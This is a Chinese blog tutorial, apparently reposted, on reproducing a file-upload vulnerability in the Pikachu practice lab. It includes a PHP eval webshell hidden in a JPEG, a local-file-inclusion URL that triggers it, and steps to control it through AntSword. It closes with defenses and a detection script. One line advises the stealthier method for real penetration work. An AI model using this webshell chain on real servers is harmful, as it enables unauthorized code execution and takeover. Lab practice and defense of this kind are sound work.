news 2026/4/24 9:38:01

新手必看:用Pikachu靶场复现文件上传漏洞,手把手教你绕过getimagesize()图片检测

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手必看:用Pikachu靶场复现文件上传漏洞,手把手教你绕过getimagesize()图片检测

从零构建Web安全实战:Pikachu靶场中的文件上传漏洞深度解析

在网络安全领域,文件上传漏洞一直是最常见也最具破坏性的漏洞类型之一。许多开发者认为简单的文件类型检查就能确保安全,但现实情况往往更为复杂。本文将带您深入探索如何利用Pikachu靶场环境,从零开始构建一个完整的文件上传漏洞攻击链,特别聚焦于绕过getimagesize()函数检测的高级技巧。

1. 环境准备与基础概念

搭建一个稳定的实验环境是成功复现漏洞的第一步。Pikachu靶场作为国内知名的Web漏洞练习平台,其文件上传模块设计精巧,非常适合初学者理解漏洞原理。

所需工具清单

  • Pikachu靶场环境(推荐使用PHPStudy集成环境搭建)
  • 文本编辑器(Notepad++或VS Code)
  • 图片马制作工具(如Edjpgcom)
  • 蚁剑(中国蚁剑或冰蝎等Webshell管理工具)
  • 浏览器开发者工具

提示:确保所有实验都在本地隔离环境中进行,切勿在真实网站尝试这些技术

getimagesize()是PHP中用于获取图像信息的核心函数,它通过读取文件头信息而非扩展名来判断文件类型。这种检测方式比简单的后缀名检查更为可靠,但并非无懈可击。函数返回一个包含7个元素的数组:

Array ( [0] => 宽度(像素) [1] => 高度(像素) [2] => 图像类型(IMAGETYPE_XXX常量) [3] => 宽度和高度的字符串(可直接用于IMG标签) [bits] => 图像的比特深度 [channels] => 图像的通道数(RGB为3) [mime] => 对应的MIME类型 )

2. 制作绕过检测的图片马

传统的一句话木马直接上传会被拦截,我们需要将其隐藏在看似正常的图片文件中。这里介绍两种主流方法:

2.1 使用CMD命令合成图片马

Windows系统自带的copy命令可以合并文件:

copy /b original.jpg + shell.php final.jpg

这种方法简单直接,但存在以下局限性:

  • 生成的文件体积较大
  • 部分严格检测可能识别出异常结构
  • 对PNG等格式支持不佳

2.2 使用专业工具精确植入

Edjpgcom等工具可以更精细地控制注入过程:

  1. 准备一张正常的JPEG图片(建议小于500KB)
  2. 编写精简的一句话木马:
<?php @eval($_POST['pass']);?>
  1. 使用工具将代码注入到图片的注释段或应用数据段

关键参数对比

检测方式普通上传CMD合成工具注入
文件头检查失败通过通过
getimagesize()失败可能失败通过
文件大小正常偏大接近正常
图像质量无影响可能受损无影响

注意:实际渗透中建议使用工具注入方式,成功率更高且更隐蔽

3. 靶场实战:完整攻击链构建

现在我们在Pikachu靶场中实施完整攻击流程:

3.1 上传精心构造的图片马

  1. 访问Pikachu的文件上传漏洞模块
  2. 选择我们制作的图片马文件
  3. 观察服务器返回的上传路径(如:/uploads/2023/05/18/fake_image.jpg)

常见错误排查

  • 如果上传失败,检查图片马是否保留了有效的图像头信息
  • 确保文件大小不超过服务器限制(通常2MB以内)
  • 尝试不同的Content-Type(如image/jpeg、image/png)

3.2 利用文件包含漏洞激活Webshell

单纯的图片马无法直接执行,需要借助其他漏洞来激活:

  1. 定位靶场中的文件包含漏洞模块
  2. 构造包含路径,使用相对路径回溯到上传目录:
../../../unsafeupload/uploads/2023/05/18/fake_image.jpg
  1. 通过参数包含我们的图片马:
http://localhost/pikachu/vul/fileinclude/fi_local.php?filename=../../../unsafeupload/uploads/2023/05/18/fake_image.jpg

路径构造技巧

  • 使用Burp Suite拦截请求观察真实路径
  • 逐步尝试../的数量(通常3-5级)
  • 注意Windows和Linux的路径差异

3.3 蚁剑连接与管理Webshell

成功触发文件包含后,即可使用蚁剑建立连接:

  1. 新建连接,填写包含图片马的完整URL
  2. 设置连接密码(与一句话木马中的密码一致)
  3. 测试连接成功后,即可进行文件管理、命令执行等操作

连接失败排查表

现象可能原因解决方案
返回空白页代码未执行检查包含路径是否正确
500错误代码语法错误重新生成图片马
连接超时防火墙拦截尝试更改连接方式
密码错误POST参数不匹配核对木马中的密码

4. 防御方案与进阶思考

理解了攻击原理后,我们更需要知道如何防御这类漏洞:

4.1 多维度文件上传防护策略

  1. 文件内容检测

    • 使用多引擎检测(如finfo、exif_imagetype结合getimagesize)
    • 对上传文件进行二次渲染(会破坏隐藏代码)
  2. 存储隔离

    • 将上传文件存储在非Web可访问目录
    • 强制修改文件扩展名为随机字符串
  3. 执行限制

    • 配置服务器禁止执行上传目录中的PHP文件
    • 设置open_basedir限制文件访问范围

4.2 企业级防护方案对比

方案类型实施难度防护效果性能影响
基础检测可忽略
多引擎检测中等
云沙箱分析较高
行为监控极强

4.3 自动化检测脚本示例

以下Python脚本可帮助检测图片马:

import imghdr import re def check_image(file_path): # 验证确实是图片 if not imghdr.what(file_path): return "非图像文件" # 检查常见Webshell特征 with open(file_path, 'rb') as f: content = f.read() if re.search(b'<\?php', content): return "检测到PHP代码" if b'eval(' in content or b'system(' in content: return "检测到危险函数" return "检测通过" result = check_image('uploaded_image.jpg') print(result)

在实际项目中发现,即使采用了getimagesize()检查,攻击者仍可能通过精心构造的GIF动画或多层嵌套的PNG文件绕过检测。最稳妥的方式是将上传文件存储在CDN并通过严格的内容分发策略控制访问权限。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 19:47:05

Elasticsearch核心:Mapping映射全解析+定义实战教程

Elasticsearch核心&#xff1a;Mapping映射全解析定义实战教程一、前言二、基础概念&#xff1a;什么是Elasticsearch Mapping&#xff1f;2.1 核心定义2.2 Mapping核心作用2.3 Mapping工作流程图三、Elasticsearch Mapping的两种类型3.1 类型1&#xff1a;动态映射&#xff08…

作者头像 李华
网站建设 2026/4/22 19:46:00

手把手教你用Matlab FDA工具设计FIR滤波器,并导出Verilog代码到Vivado仿真

从Matlab到FPGA&#xff1a;FIR滤波器设计全流程实战指南 在数字信号处理领域&#xff0c;FIR滤波器因其稳定性、线性相位特性而广受欢迎。本文将带您完整走通从Matlab设计到FPGA实现的整个流程&#xff0c;涵盖低通和带通两种典型滤波器设计场景。 1. 设计准备与环境搭建 工欲…

作者头像 李华